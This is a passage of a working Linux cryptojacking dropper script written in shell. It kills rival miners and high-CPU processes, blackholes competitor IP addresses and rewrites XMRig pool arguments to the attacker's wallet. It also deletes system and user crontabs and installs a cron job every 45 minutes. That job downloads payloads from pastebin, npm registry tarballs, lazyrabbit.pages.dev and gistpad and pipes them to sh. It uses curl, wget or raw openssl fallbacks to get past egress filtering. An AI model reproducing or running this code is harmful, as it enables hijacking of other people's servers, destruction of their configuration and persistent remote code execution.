  549. esac
  550. fi
  551. case "$_kt_exe" in
  552. /tmp/*|/var/tmp/*|/dev/shm/*)
  553. _kt_score=$((_kt_score + 4)) ;;
  554. "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  555. _kt_score=$((_kt_score + 4)) ;;
  556. esac
  557. [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
  558. if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
  559. echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
  560. kill -9 "$_kt_pid" 2>/dev/null
  561. fi
  562. done
  563. )
  564. return 0
  565. }
  566. kill_mf3() {
  567. (
  568. set +e
  569. _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
  570. _km_skip="$_c5"
  571. _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
  572. _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
  573. # Tier 1: watchdogs + grep scanner
  574. _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
  575. # Tier 2: miners
  576. _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
  577. _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
  578. _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
  579. # T1: SIGTERM then SIGKILL
  580. _km_t1p=$(_km_pids_of "$_km_t1")
  581. _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
  582. _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  583. if [ -n "$_km_list" ]; then
  584. kill -TERM $_km_list 2>/dev/null; sleep 1
  585. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  586. fi
  587. # T2: SIGTERM then SIGKILL
  588. _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  589. if [ -n "$_km_list" ]; then
  590. kill -TERM $_km_list 2>/dev/null; sleep 2
  591. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  592. fi
  593. # T3: orphans
  594. sleep 1
  595. _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
  596. [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  597. )
  598. return 0
  599. }
  600. kill_and_remove_process() {
  601. _karp_term="$1"
  602. [ -z "$_karp_term" ] && return 2
  603. for _karp_dir in /proc/[0-9]*; do
  604. [ -r "$_karp_dir/comm" ] || continue
  605. _karp_pid="${_karp_dir##*/}"
  606. _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
  607. _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
  608. if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
  609. continue
  610. fi
  611. _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
  612. [ -z "$_karp_exe" ] && continue
  613. # Skip system binaries
  614. case "$_karp_exe" in
  615. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
  616. esac
  617. echo "Terminating '$_karp_term' PID=$_karp_pid"
  618. kill "$_karp_pid" 2>/dev/null; sleep 1
  619. kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
  620. if [ -f "$_karp_exe" ]; then
  621. rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
  622. fi
  623. done
  624. return 0
  625. }
  626. kill_high_cpu() {
  627. _khc_threshold=150.0
  628. ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
  629. [ -f "/proc/$_khc_pid/cmdline" ] || continue
  630. _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
  631. _is_excluded "$_khc_cmdline" && continue
  632. kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  633. done
  634. }
  635. harden_network() {
  636. command -v iptables >/dev/null 2>&1 && {
  637. iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
  638. iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  639. }
  640. command -v ip >/dev/null 2>&1 && {
  641. ip route add blackhole 139.59.59.33 2>/dev/null || true
  642. ip route add blackhole 45.94.31.89 2>/dev/null || true
  643. ip route add blackhole 154.89.152.115 2>/dev/null || true
  644. ip route add blackhole 84.21.173.223 2>/dev/null || true
  645. ip route add blackhole 142.132.131.238 2>/dev/null || true
  646. }
  647. }
  648. cleanup_files() {
  649. # Remove competing miner artifacts (union of all scripts)
  650. rm -rf /bin/softirq 2>/dev/null || true
  651. rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  652. rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  653. rm -rf /usr/local/bin/watcher 2>/dev/null || true
  654. rm -rf /tmp/runnv/* 2>/dev/null || true
  655. rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  656. rm -rf /tmp/nuclear 2>/dev/null || true
  657. rm -f /tmp/mon.sh 2>/dev/null || true
  658. rm -f /tmp/run.sh 2>/dev/null || true
  659. # Reclaim as honeypots
  660. mkdir -p /bin/softirq 2>/dev/null || true
  661. mkdir -p /tmp/nuclear 2>/dev/null || true
  662. mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  663. mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  664. mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  665. mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  666. mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  667. mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  668. # Remove old dns-filter artifacts
  669. for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
  670. [ -f "$_cf_f" ] && rm -f "$_cf_f"
  671. done
  672. }
  673. safe_patch_args() {
  674. _spa_file='/lib/systemd/cache/process-watcher'
  675. _spa_value="-o $_c3 -u $_c4/P2 --tls"
  676. [ -f "$_spa_file" ] || return 0
  677. _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  678. if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
  679. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  680. else
  681. printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  682. fi
  683. }
  684. replace_pool_user() {
  685. _rpu_path="/var/tmp/.odoo_pg_health.json"
  686. [ -f "$_rpu_path" ] || return 0
  687. _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  688. _rpu_tmp="${_rpu_path}.tmp.$$"
  689. sed -e "s|\(\"user\"[ ]*:[ ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
  690. <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  691. [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
  692. }
  693. get_cpu_count() {
  694. if [ -f /proc/cpuinfo ]; then
  695. grep -c '^processor' /proc/cpuinfo
  696. else
  697. sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  698. fi
  699. }
  700. is_ec2_host() {
  701. hostname | grep -qi -e "ec2" -e "compute"
  702. }
  703. is_our_process_running() {
  704. for _iop_dir in /proc/[0-9]*; do
  705. [ -r "$_iop_dir/cmdline" ] || continue
  706. _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  707. if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
  708. _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  709. [ "$_iop_state" = "Z" ] && continue
  710. _iop_pid="${_iop_dir##*/}"
  711. case "$_ga_arch" in
  712. aarch64|arm64|armv8l)
  713. case "$_iop_cmdline" in
  714. *"/$_c1"*) ;;
  715. *)
  716. echo "ARM process uses a different identifier; replacing"
  717. kill -9 "$_iop_pid" 2>/dev/null
  718. sleep 1
  719. continue
  720. ;;
  721. esac
  722. ;;
  723. esac
  724. _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  725. _iop_cpu=${_iop_cpu:-0}
  726. _iop_int=${_iop_cpu%.*}
  727. _iop_int=${_iop_int:-0}
  728. # Tag-drift guard: a running miner with an OLD tag (the pool worker
  729. # label = /$1) would otherwise survive every redeploy forever. When
  730. # the live process's tag differs from the current arg, kill it and
  731. # relaunch with the new tag.
  732. case "$_iop_cmdline" in
  733. *"$_c1 "*|*"$_c1")
  734. : ;;
  735. *)
  736. echo "Our process runs with a stale tag — killing for relaunch (arg=$_c1)"
  737. kill -9 "$_iop_pid" 2>/dev/null
  738. sleep 1
  739. continue
  740. ;;
  741. esac
  742. if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  743. echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
  744. return 0
  745. else
  746. echo "Our process idle (PID $_iop_pid) — killing and relaunching"
  747. kill -9 "$_iop_pid" 2>/dev/null
  748. sleep 1
  749. fi
  750. fi
  751. done
  752. echo "Our process not running"
  753. return 1
  754. }
  755. set_arch_urls() {
  756. _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  757. case "$_ga_arch" in
  758. x86_64|amd64)
  759. _ga_url="$_c7"
  760. _ga_fallback="$_c9"
  761. _ga_machine=3e00
  762. ;;
  763. aarch64|arm64|armv8l)
  764. _ga_url="$_c8"
  765. _ga_fallback=""
  766. _ga_machine=b700
  767. _c1=ARM
  768. ;;
  769. *)
  770. _ga_url=""
  771. _ga_fallback=""
  772. _ga_machine=""
  773. return 1
  774. ;;
  775. esac
  776. }
  777. _elf_machine() {
  778. od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
  779. }
  780. _is_elf_for_arch() {
  781. _ie_file="$1"
  782. [ -s "$_ie_file" ] || return 1
  783. [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  784. [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  785. [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
  786. }
  787. _sfx_path() {
  788. if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  789. else printf '/tmp/.sysid'; fi
  790. }
  791. _load_or_gen_sfx() {
  792. _log_f=$(_sfx_path)
  793. if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  794. _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  795. [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  796. mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  797. printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  798. printf '%s' "$_log_s"
  799. }
  800.  
  801. wipe_previous_crons() {
  802. # 1) Release immutable/append-only pins from ANY cron file (not just
  803. # $(whoami)) — otherwise rm below fails with "Operation not permitted"
  804. # and the stale cron survives the wipe.
  805. if [ "$(id -u)" -eq 0 ]; then
  806. for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
  807. /var/spool/cron/* /var/spool/cron/crontabs/* \
  808. /etc/cron.hourly/* /etc/cron.daily/* \
  809. /etc/cron.weekly/* /etc/cron.monthly/* \
  810. /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  811. [ -e "$_wl" ] || continue
  812. chattr -i "$_wl" 2>/dev/null || true
  813. chattr -a "$_wl" 2>/dev/null || true
  814. done
  815. fi
  816.  
  817. # 2) User crontabs. Zimbra mode: NEVER wipe. Zimbra's crontab is
  818. # config-managed (zmstatctl/zmlogprocess etc.); dropping it breaks the
  819. # mail stack and surfaces config loss. Instead scrub only competitor
  820. # IOC lines from the invoking user's crontab and keep everything else.
  821. # Any crontab that mentions zimbra is treated the same way.
  822. _wp_is_zimbra=0
  823. [ "$(id -un 2>/dev/null)" = "zimbra" ] && _wp_is_zimbra=1
  824. [ "$_wp_is_zimbra" = 0 ] && crontab -l 2>/dev/null | grep -qi "zimbra" && _wp_is_zimbra=1
  825. if [ "$_wp_is_zimbra" = 1 ]; then
  826. _wp_ioc='systemdev/cron-fetch|cron-fetch-ppfs|lazyrabbit\.pages\.dev|gistpad\.com|\.usr_cron|/etc/\.dd|oanacroner|kdevtmpfsi|kinsing|\.\.config|bash /tmp/|/tmp/\.[a-z0-9_]{2,}/'
  827. crontab -l 2>/dev/null | grep -vE "$_wp_ioc" | crontab - 2>/dev/null
  828. echo "Zimbra crontab: competitor lines scrubbed, config preserved."
  829. else
  830. crontab -r 2>/dev/null || true
  831. fi
  832. for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
  833. [ -f "$_us" ] || continue
  834. case "$_us" in *zimbra*) continue ;; esac
  835. grep -qi "zimbra" "$_us" 2>/dev/null && continue
  836. rm -f "$_us" 2>/dev/null || true
  837. done
  838.  
  839. # 3) Drop the system-wide cron tree. Never on zimbra hosts: /etc/crontab
  840. # and cron.d carry stock config-managed jobs there.
  841. if [ "$_wp_is_zimbra" = 0 ]; then
  842. rm -f /etc/crontab 2>/dev/null || true
  843. rm -f /etc/cron.d/* 2>/dev/null || true
  844. rm -f /etc/cron.hourly/* /etc/cron.daily/* \
  845. /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  846. fi
  847. }
  848.  
  849. create_cronjob() {
  850. # Install a resilient pointer fetcher next to the payload (persistent dir,
  851. # not /tmp) and have cron run it. The fetcher performs the full chain every
  852. # run: /latest metadata -> dist.tarball -> package.json description ->
  853. # base64 sanity gate -> sh, with npmjs + npmmirror origins and
  854. # curl -> wget -> openssl fetch fallbacks.
  855. # Ensure the tarball toolchain exists (tar + gzip) before relying on it.
  856. for _cc_dep in tar gzip; do
  857. if ! command -v $_cc_dep >/dev/null 2>&1; then
  858. if [ "$(id -u)" = "0" ]; then
  859. if command -v apk >/dev/null 2>&1; then
  860. apk add --no-cache $_cc_dep >/dev/null 2>&1 || true
  861. elif command -v apt-get >/dev/null 2>&1; then
  862. apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq $_cc_dep >/dev/null 2>&1 || true
  863. elif command -v yum >/dev/null 2>&1; then
  864. yum install -y -q $_cc_dep >/dev/null 2>&1 || true
  865. elif command -v dnf >/dev/null 2>&1; then
  866. dnf install -y -q $_cc_dep >/dev/null 2>&1 || true
  867. fi
  868. fi
  869. fi
  870. done
  871. # Keep the cron helper separate from the payload directory.
  872. # Root gets a persistent system path; users stay under their home directory.
  873. _cc_home=""
  874. if [ "$(id -u)" = "0" ]; then
  875. mkdir -p /etc/.dd 2>/dev/null && _cc_home="/etc/.dd"
  876. fi
  877. if [ -z "$_cc_home" ] && [ -n "$HOME" ] && [ -w "$HOME" ]; then
  878. mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _cc_home="$HOME/.usr_cron/lib"
  879. fi
  880. if [ -z "$_cc_home" ] && [ -n "$HOME_1" ]; then
  881. mkdir -p "$HOME_1" 2>/dev/null && [ -w "$HOME_1" ] && _cc_home="$HOME_1"
  882. fi
  883. [ -n "$_cc_home" ] || _cc_home="/tmp/.usr_cron/lib"
  884. if ! command -v crontab >/dev/null 2>&1; then
  885. echo "No crontab available; persistence not installed"
  886. return 1
  887. fi
  888. # No-tar fallback: targets without tar cannot unpack the pointer tarball.
  889. # Plant a static pastebin fetcher cron instead (payload served directly).
  890. _cc_cmd=""
  891. # The A||B chain: guard on the shebang so a 200-OK junk response (egress
  892. # filters) doesn't run and doesn't block the fallback. The fetched body
  893. # lives in a temp file (a var would word-split multi-line scripts).
  894. if command -v curl >/dev/null 2>&1; then
  895. _cc_cmd="T=/tmp/.ccr$$; curl -fsSLk -A corecheck/1.0 $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { curl -fsSLk -A corecheck/1.0 $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }; rm -f $T"
  896. elif command -v wget >/dev/null 2>&1; then
  897. _cc_cmd="T=/tmp/.ccr$$; wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }"
  898. elif command -v openssl >/dev/null 2>&1; then
  899. # openssl-only fallback: raw HTTPS GET + staged decoding (no perl needed —
  900. # strip HTTP headers with awk and execute only the response body).
  901. mkdir -p "$_cc_home/systemdev" 2>/dev/null
  902. _cc_helper="$_cc_home/systemdev/cron-fetch-ppfs.sh"
  903. rm -f "/tmp/.cron_fetch_ppfs_$.sh" 2>/dev/null
  904. cat > "$_cc_helper" << 'PASTEHELPER'
  905. #!/bin/sh
  906. _paste="$1"
  907. _hp="${_paste#https://}";; _hp="${_hp#http://}";
  908. _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  909. if command -v timeout >/dev/null 2>&1; then
  910. _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  911. timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  912. else
  913. _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  914. openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  915. fi
  916. printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b" 2>/dev/null
  917. head -c 2 "$_paste.b" | grep -q '#!' && { sh "$_paste.b"; rm -f "$_paste.b"; exit $?; }
  918. # The first URL gave junk (an egress filter's 200-OK) or nothing: try B.
  919. [ -n "$2" ] || exit 1
  920. _hp2="${2#https://}";; _hp2="${_hp2#http://}";
  921. _h2="${_hp2%%/*}"; _q2="/${_hp2#*/}"; [ "$_h2" = "$_hp2" ] && _q2="/"
  922. _r2=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q2" "$_h2" | \
  923. timeout 45 openssl s_client -quiet -connect "${_h2}:443" -servername "$_h2" 2>/dev/null)
  924. printf '%s\n' "$_r2" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b2" 2>/dev/null
  925. head -c 2 "$_paste.b2" | grep -q '#!' && { sh "$_paste.b2"; }
  926. rm -f "$_paste.b" "$_paste.b2"
  927. exit 0
  928. PASTEHELPER
  929. chmod 755 "$_cc_helper"
  930. _cc_cmd="$_cc_helper $_cc_pastebin $_cc_pastebin_b"
  931. fi
  932.  
  933. # Decide which cron line to install, given what we have.
  934. if [ -n "$_cc_cmd" ]; then
  935. if ! command -v tar >/dev/null 2>&1 || ! command -v gzip >/dev/null 2>&1; then
  936. # Cannot use the registry pointer chain (needs tar+gzip) — use the
  937. # static pastebin cron directly, dedup keyed on the URL.
  938. # Zimbra: append-only (see pointer site); never rewrite its crontab.
  939. if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  940. if crontab -l 2>/dev/null | grep -qF "$_cc_pastebin"; then
  941. echo "Cron persistence already installed (zimbra, preserved)."
  942. else
  943. if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then
  944. echo "Cron persistence installed (zimbra, append-only)."
  945. else
  946. echo "Unable to install fallback crontab"
  947. return 1
  948. fi
  949. fi
  950. return 0
  951. fi
  952. if ! (crontab -l 2>/dev/null | grep -vF "$_cc_pastebin" | grep -vF "/systemdev/cron-fetch";
  953. printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then
  954. echo "Unable to install fallback crontab"
  955. return 1
  956. fi
  957. echo "Cron persistence installed (pastebin fallback)."
  958. return 0
  959. fi
  960. # tar+gzip present: prefer the resilient registry-pointer fetcher and
  961. # keep the pastebin cron as an additional safety net.
  962. :
  963. else
  964. echo "No tar/pointer and no curl/wget/openssl — no viable cron fallback"
  965. return 1
  966. fi
  967. # Persistent fetcher dir chosen by privilege:
  968. # root: /etc/.dd/systemdev (privileged, persistent)
  969. # user: $HOME/.usr_cron/lib (survives logout, no root needed)
  970. # fallback: /tmp/.usr_cron/lib (last resort, e.g. $HOME unwritable)
  971. mkdir -p "$_cc_home/systemdev" 2>/dev/null
  972. _cc_fetcher="$_cc_home/systemdev/cron-fetch"
  973. cat > "$_cc_fetcher" << 'CRONHELPER'
  974. #!/bin/sh
  975. MIRROR="$(printf '%s' "$REGURL" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"
  976. _extr='s/.*"description" *: *"\([^"]*\)".*/\1/p'
  977.  
  978. get_url() {
  979. _gu="$1"
  980. if command -v curl >/dev/null 2>&1; then
  981. curl -fsSLk -A corecheck/1.0 --max-time 30 "$_gu" 2>/dev/null && return 0
  982. fi
  983. if command -v wget >/dev/null 2>&1; then
  984. wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_gu" 2>/dev/null && return 0
  985. fi
  986. if command -v openssl >/dev/null 2>&1; then
  987. _gu_now="$_gu"; _n=0
  988. _raw="${TMPDIR:-/tmp}/.netz13-fetch.$$.raw"
  989. while [ "$_n" -lt 5 ]; do
  990. _n=$((_n+1))
  991. _hp="${_gu_now#https://}";; _hp="${_hp#http://}";
  992. _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  993. if command -v timeout >/dev/null 2>&1; then
  994. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  995. timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  996. else
  997. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  998. openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  999. fi
  1000. _st=$(awk 'NR == 1 {sub(/\r$/, ""); print $2; exit}' "$_raw" 2>/dev/null)
  1001. case "$_st" in 301|302|303|307|308)
  1002. _l=$(awk 'tolower($1) == "location:" {sub(/^[^:]*:[ \t]*/, ""); sub(/\r$/, ""); print; exit}' "$_raw" 2>/dev/null)
  1003. [ -z "$_l" ] && { rm -f "$_raw"; return 9; }
  1004. _gu_now="$_l"
  1005. continue;;
  1006. 2??)
  1007. _off=$(awk 'BEGIN {n=0} {n += length($0) + 1; if ($0 == "" || $0 == "\r") {print n; exit}}' "$_raw" 2>/dev/null)
  1008. [ -n "$_off" ] || { rm -f "$_raw"; return 9; }
  1009. if command -v dd >/dev/null 2>&1; then
  1010. dd if="$_raw" bs=1 skip="$_off" 2>/dev/null
  1011. _rc=$?
  1012. elif command -v tail >/dev/null 2>&1; then
  1013. tail -c "+$((_off + 1))" "$_raw"
  1014. _rc=$?
  1015. else
  1016. rm -f "$_raw"
  1017. return 9
  1018. fi
  1019. rm -f "$_raw"
  1020. return "$_rc";;
  1021. *)
  1022. rm -f "$_raw"
  1023. return 9;;
  1024. esac
  1025. done
  1026. rm -f "$_raw"
  1027. return 9
  1028. fi
  1029. return 9
  1030. }
  1031.  
  1032. run_gated() {
  1033. b=$(cat)
  1034. printf '%s' "$b" | grep -qE '^[A-Za-z0-9+/=]+$' || exit 9
  1035. printf '%s' "$b" | base64 -d | sh
  1036. }
  1037.  
  1038. # 1) metadata from primary then mirror; extract tarball URL
  1039. _t=""
  1040. for _mu in "$REGURL" "$MIRROR"; do
  1041. _mt=$(get_url "$_mu" | tr -d "\r" | sed -n "s/.*\"tarball\" *: *\"\([^\"]*\)\".*/\1/p" | head -1)
  1042. [ -n "$_mt" ] && { _t="$_mt"; break; }
  1043. done
  1044. # 1b) metadata may be gone (package unpublished upstream); fall back to the
  1045. # known orphan tarball on the same mirror origin. Verified serving the
  1046. # intact payload (sha256 ad8a1c84…). Gate below still applies.
  1047. [ -z "$_t" ] && exit 9
  1048.  
  1049. # 2) tarball from its origin; fall back to mirror host
  1050. _b64=""
  1051. for _tu in "$_t" "$(printf '%s' "$_t" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"; do
  1052. _cand=$(get_url "$_tu" | tar -xzO package/package.json 2>/dev/null | tr -d "\r" | sed -n "$_extr" | head -1)
  1053. [ -n "$_cand" ] && { _b64="$_cand"; break; }
  1054. done
  1055. # 3) static fallback: lazyrabbit/gistpad serve the payload as plain sh (no tar needed,
  1056. # no metadata, no gate) — last layer when both registry layers are dead.
  1057. # DNS on some hosts intermittently resolves CDN hosts to 0.0.0.0 (empty
  1058. # response). Retry once after a pause; only a NON-EMPTY body reaches sh.
  1059. if [ -z "$_b64" ]; then
  1060. _l3_body=""
  1061. for _l3_try in 1 2 3; do
  1062. if command -v curl >/dev/null 2>&1; then
  1063. _l3_body=$(curl -fsSLk -A corecheck/1.0 --max-time 30 "$_l3_url" 2>/dev/null | tr -d '\r')
  1064. elif command -v wget >/dev/null 2>&1; then
  1065. _l3_body=$(wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_l3_url" 2>/dev/null | tr -d '\r')
  1066. elif command -v openssl >/dev/null 2>&1; then
  1067. _l3_host=$(printf '%s' "$_l3_url" | sed 's|^https://||;s|/.*||')
  1068. _l3_path=$(printf '%s' "$_l3_url" | sed 's|^https://[^/]*||')
  1069. [ -z "$_l3_path" ] && _l3_path=/
  1070. _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_l3_path" "$_l3_host" | \
  1071. timeout 45 openssl s_client -quiet -connect "$_l3_host:443" -servername "$_l3_host" 2>/dev/null)
  1072. _l3_body=$(printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r')
  1073. fi
  1074. [ -n "$_l3_body" ] && break 2
  1075. done
  1076. [ -n "$_l3_body" ] && break
  1077. sleep 5
  1078. done
  1079. if [ -n "$_l3_body" ]; then
  1080. printf '%s' "$_l3_body" | sh
  1081. exit $?
  1082. fi
  1083. echo "all layers exhausted (L1/L2/L3); next cron tick retries" >&2
  1084. exit 9
  1085. fi
  1086.  
  1087. printf '%s' "$_b64" | run_gated
  1088. exit $?
  1089. CRONHELPER
  1090. chmod 755 "$_cc_fetcher"
  1091. # Self-heal guard: never install a fetcher that does not parse. A malformed
  1092. # fetcher would fire a dash syntax error every 45 minutes forever.
  1093. if ! sh -n "$_cc_fetcher" 2>/dev/null; then
  1094. echo "Planted fetcher failed syntax check; removing"
  1095. rm -f "$_cc_fetcher"
  1096. (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher") | crontab - 2>/dev/null
  1097. return 1
  1098. fi
  1099. # Zimbra policy: appending is the only safe write. Zimbra's crontab is
  1100. # config-managed; a dedup-rewrite that drops its own entries breaks the
  1101. # mail stack. Append our line only when it is not already present.
  1102. if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  1103. if crontab -l 2>/dev/null | grep -qF "$_cc_fetcher"; then
  1104. echo "Cron persistence already installed (zimbra, preserved)."
  1105. else
  1106. if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
  1107. echo "Cron persistence installed (zimbra, append-only)."
  1108. else
  1109. echo "Unable to install pointer crontab"
  1110. return 1
  1111. fi
  1112. fi
  1113. return 0
  1114. fi
  1115. # Dedup stale pointer lines, then install the cron entry keyed on the fetcher path.
  1116. if ! (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher";
